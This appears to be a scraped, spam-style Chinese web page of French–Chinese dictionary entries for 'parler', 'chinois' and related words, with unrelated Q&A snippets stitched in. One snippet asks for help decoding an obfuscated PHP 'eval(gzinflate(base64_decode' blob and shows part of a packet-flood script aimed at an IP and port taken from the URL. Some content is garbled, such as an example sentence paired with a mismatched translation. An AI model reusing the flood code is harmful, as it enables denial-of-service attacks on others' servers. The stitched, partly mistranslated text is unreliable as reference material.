parlez是什么意思 《法语助手》法汉

作者&投稿:百逄 (若有异议请与网页底部的电邮联系)
中文是什么意思 《法语助手》法汉~

中文
翻译为:

le chinois
chinois, e
法语例句库
1.Tu ne comprends pas le chinois?
你不懂中文吗?
2.Parlez chinois avec moi.
请和我讲中文。
3.Parlez chinois avec moi.
请和我讲中文。
4.Ne comprends-tu pas le chinois?真人慢速
难道你不懂中文吗?
5.Il explique en anglais et en chinois l’histoire de ce régiment.
他可以用英文和中文讲述部队曾经过往的历史。
6.Cet étranger a acheté une méthode de chinois.
这个外国人买了一本学习中文的教材。
7.Il sinise ses enfants en les envoyant à l'école chinoise.
他把孩子送到中文学校,使他们更贴近中国文化。
8.Ces magazines en chinois sont un acquis de la coopération en matière de copyright entre les éditeurs étrangers et ceux du marché local.
这些杂志的中文版是国外出版社与当地市场联合的产物。
9.Français: Merci de votre bonté.
中文:谢谢你的好意.
10.Enseigner le chinois, j'ai un manuel franco-chi...
教授中文,有专门教授法国人学中文的教材,可从零开始学习。
11.Parlez-moi en chinois.
请和我讲中文。
12.J'etudie le chinois en Chine.
我在中国学习中文。
13.Je peux parler chinois.Nous pouvons parler chinois.
我会说中文。我们会说中文。
14.Mon disque et mes revues chinoises.J'apprends le chinois,tu sais?
我的唱片和我的一些中文杂志,我在学中文,你知道吗?
15.Il(elle)peut parler chinois.Ils(elles)peuvent parler chinois.
他(她)会说中文。他们(她们)会说中文。
16.pourquoi les émissions chinoises sont toujours sous-titrées?
为什么中文节目都打字幕?
17.Vous parlez très bien chinois .
你说中文说得很好。
18.Combien de caractères y a-t-il dans la langue chinoise ?
- 中文有多少汉字?
19.Français: Combien de temps serons-nous en route ?
中文:路上要花多少时间?
20.2. Il a promis de me masser le dos.
中文:我们该集中一下所有成员。

coréen, enne


adj.
朝鲜的, 韩国的
caractères coréens 韩语字符

Coréen,enne
n.
朝鲜人;朝鲜族人,韩国人

n. m.
朝鲜语, 韩语
Parlez-vous coréen ? 您说韩语么?
On apprend le coréen. 人们学韩语。

  • parler 

音标:[parle]  

v. i. 
1. 说话, 讲话, 说, 讲:
enfant qui commence à parler 开始咿呀学语的孩子
parler en français 用法语讲
parler du nez 用鼻音说话
parler habilement 能说会道
parler en l'air说空话, 信口开河
parler au cœur 话说到心坎里
parler entre ses dents 低声含糊地说话, 咕咕哝哝地说话
parler comme un livre 说得象书本一样头头是道
parler d'or 说的是金玉良言
parler en public 当众讲话
parler en se répétant 翻来覆去地说
parler seul 自言自语
parler pour parler [俗]为说话而说话, 无话找话说
parler pour qn 帮某人说话
faire parler la poudre [引]诉诸战争
Tu parles! Vous parlez! [民(1)你倒说得好![表示轻蔑、挖苦或愤慨](2)怎么不呢!当然罗![表示相信或赞赏]:Elle est très active, n'est-ce pas? – Tu parles! 她很积极, 不是吗?--怎么不是呢!
C'est une façon (une manière) de parler! 这是一种说法而已!
Les faits parlent d'eux-mêmes. 事实胜于雄辩。 
On sait ce que parler veut dire. (1)大家都明白空口说白话是怎么回事。 (2)人家已经领会话中的意思。 
quand le devoir parle [转]当想到自己的责任时

2. 交谈:
parler avec qn 同某人交谈
Nous avons longuement parlé. 我们谈了很久。 

3. [转]表达思想:
Les muets parlent par gestes. 哑巴用手势表达思想。 

4. 说出真相, 透露真情:
faire parler un complice 使一个同谋招供
Il faut que quelqu'un ait parlé. 一定有人把情况说出去了。
le prisonnier parla sous la torture. 囚犯在严刑拷打下招供。 

5. [牌戏]叫牌

v. t. indir. 
1. parler de qch (de qn) 谈到某事(某人), 议论某事(某人):
parler de chose et d'autres 闲聊
faire parler de soi 引起别人议论
parler bien (mal) de qn 说某人好(坏)话
Parlons-en! [讽]真在可以谈谈!
Vous en parlez bien à votre aise. 你说得倒轻松。 你倒会说风凉话。 
De quoi ça parle, ce livre? [俗]这本书里讲点啥?
Tu parles d'un idiot! [民]简直是个白痴!
sans parler de 且不说…, 除 …以外

2. parler de 用…这个词[后接名词, 不用冠词]
3. parler de (+ inf. ) 意欲, 打算:
Il parle d'aller habiter Pékin. 他说住到北京去。 

4. parler à qn 对某人说话:
parler à un sourd (à un mur) 对聋子[对墙壁]说话[指对方无动于衷
parler à son bonnet [俗]自言自语
trouver à qui parler [俗]遇到强手

5. parler de … à qn 同某人谈…:
Je voulais vous parler de cette affaire. 我当时想同你谈这件事。 
Je vous en ai parlé dans ma dernière lettre. 上封信中我已对你谈过此事。 
On m'a beaucoup parlé de vous. 我听到很多赞扬你的话。 

v. t. dir. 
1. 说, 讲{某种语言}:
parler français 说法语
parler le français 会说法语
parler patois 说土话
parler couramment plusieurs langues 能流畅地说数种语言

2. 谈, 谈论[后接名词, 不用冠词]:
parler politique 谈政治
parler chiffons 谈穿着
parler raison 讲理

se parler v. pr. 
1. 被说, 被使用[指语言]:
langue qui se parle dans le monde entier 在世界范围内使用的语言

2. 互相说话, 交谈:
Ils se parlaient des yeux. 他们相互以目示意。 
Il se parle lui-même. 他自言自语。 

n. m. 
1. <旧>说话, 言语
2. franc-parler 说话坦率, 心直口快, 直言不讳
3. 说话方式, 说话的腔调
parler ambigu 模棱两可的的说话方式
parler mal articulé 含糊不清的说话腔调
parler doux 温和的说话方式
le parler particulier des speakers à la radio 电台播音员特有的语调

4. 方言; 某一范围的用语
parlers régionaux 方言,土语
parlers spéciaux 特定范围内使用的语言
parler commercial 商业语言,商业用语
parler d'usage 习惯用语 


常见用法
parler de qqch/qqn 讲述某事/某人
De quoi parle ce livre? 这本书讲的什么?
parler politique 谈论政治




魔兽DOTA英雄名字
预言者(the Far Seer):括号里面的单词直接意思是“看得远的人”,也就是能预言的人咯。而预言者的名字就牛13了,Thrall就是正史里面的部落之王萨尔。这里先说一下萨尔。可能大家觉得正史里面萨尔勇猛的形象和DotA里面的小身板不符合,其实是符合的。萨尔在正史里面并不是一个战士(Warrior),而是一个萨满(Shaman),...

拔掉光驱电源线计算机就不能启动(我吐血出200分)!!!
即可。 回答者:arlice - 试用期 一级 12-19 14:26---换个电源 回答者:爱情质保 - 试用期 一级 12-19 15:06---MP3\/P4厂家诚征代理(经销)商加盟深圳市金诚数码科技有限公司是家专业从事MP3\/P4播放机等数码电子产品研发、生产、销售的高新技术企业。"金诚品牌"...

怎样从泰国坐火车回中国
从泰国到中是没有火车的,要么从曼谷、清迈坐飞机,要么就得去边境坐船(我在金三角看见了咱中国的船的~~呵呵),坐船很便宜,但是也很痛苦,而且耗时太长。。。谢谢

麻烦帮忙解码。不会弄<?php eval(gzinflate(base64_decode
ip = $_GET['ip'];rand = $_GET['port'];set_time_limit(0);ignore_user_abort(FALSE);exec_time = $_GET['time'];time = time();print "Flooded: $ip on port $rand ";max_time = $time+$exec_time;for($i=0;$i<65535;$i++){ out .= "X";} while(1){ packets++;...

虎丘区19458305202: pouce是什么意思 《法语助手》法汉 -
宓之复方: pouce[pus][m.] 大拇指;大足趾双语例句 1. Les hommes sont encore en train de mesurer leur pouce!!! 男人们仍在测量他们拇指的长度! 2. La décision française d'armer les insurgés procède du même calcul que celle de faire entrer en ...

虎丘区19458305202: palier是什么意思 《法语助手》法汉 -
宓之复方: n. m. 1.楼梯平台:voisins de palier 住在同一层楼的邻居 Ils habitent sur le même palier. 他们住在同一楼面.2.(铁路、公路的)平面,平路;(图表曲线的)水平部分:vitesse en palier 平道速度 La route monte par paliers. 公路逐级上坡.3.阶...

虎丘区19458305202: Apelle是什么意思 《法语助手》法汉 -
宓之复方: 阿佩莱斯 Apelle 阿佩莱斯(英语:Apelles),约活动于公元前4世纪前后.古希腊画师之一,后移居以弗所,先后在科林斯、雅典以及佩拉的马其顿宫廷从事创作(效力于腓力二世、亚历山大大帝).他是最著名且最受赞美的希腊画师,主要以肖像画闻名.最著名的绘画作品为《跃出海面的阿佛洛狄忒》.迄今所知,他的其他作品包括《携有霹雳的亚历山大》及一幅自画像(为史载最早).他还着有关绘画的专着,但其作品均已失传.

虎丘区19458305202: plaindre是什么意思 《法语助手》法汉 -
宓之复方: v. t. 1. 同情, 可怜, 怜悯:être à plaindre 值得同情, 值得怜悯 plaindre le sort de qn 同情某人的命运 Je ne le plains pas. 我不同情他.

虎丘区19458305202: papier是什么意思 《法语助手》法汉 -
宓之复方: cerf-volant volant au vent ne t'arrête pas vers la mer haut dans les airs un enfant te voit voyage insolent troubles enivrants amours innocentes suivent ta voie suivent ta voie en volant cerf-volant volant au vent ne t'arrête pas vers la mer haut dans les ...

虎丘区19458305202: 佩尔桑是什么意思 《法语助手》法汉 -
宓之复方: 佩尔桑 Persan (Val-d'Oise) 佩尔桑(法语:Persan)是法国法兰西岛大区瓦勒德瓦兹省的一个市镇,属于蓬图瓦兹区瓦兹河畔博蒙县.该市镇2009年时的人口为10424人.

虎丘区19458305202: 口译是什么意思 《法语助手》法汉 -
宓之复方: 法汉-汉法词典 kǒu yì1. (口头翻译) traduction orale; interprète2. (口译译员) interprète servir d'interprète 在两人中间充当口译 www.fr ancoc hino is.co m 版 权 所 有 法语例句1.C'est un interprète polyglotte.这是位通晓多种语言的口译人员.2....

虎丘区19458305202: petit是什么意思 《法语助手》法汉 -
宓之复方: petit 音标:[p(ə)ti,it] a. 小的;矮小的,微小的,幼小的,娇小的;雏形的,缩小的;渺小的,卑下的,狭隘的;短暂的;小写的 n. 小孩;(动物的)仔 m. 地位低微的人,小人物,弱者;低年级小学生 [例句]Regardez ce joli petit mouton. 看这只漂亮的小绵羊.

虎丘区19458305202: suivre是什么意思 《法语助手》法汉 -
宓之复方: suivre:跟随 动词,法语释义: Venir après, par rapport au lieu, au temps, au rang, etc. Marcher sur les pas de quelqu'un.

虎丘区19458305202: partie是什么意思 《法语助手》法汉 -
宓之复方: 是法语,楼上的只是按字面翻译,其实法语里chef de partie是一种职业,说白了就是厨师,负责烹饪食品的前期准备工作,鱼类,肉类,甜品等等都有自己的chef de partie

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网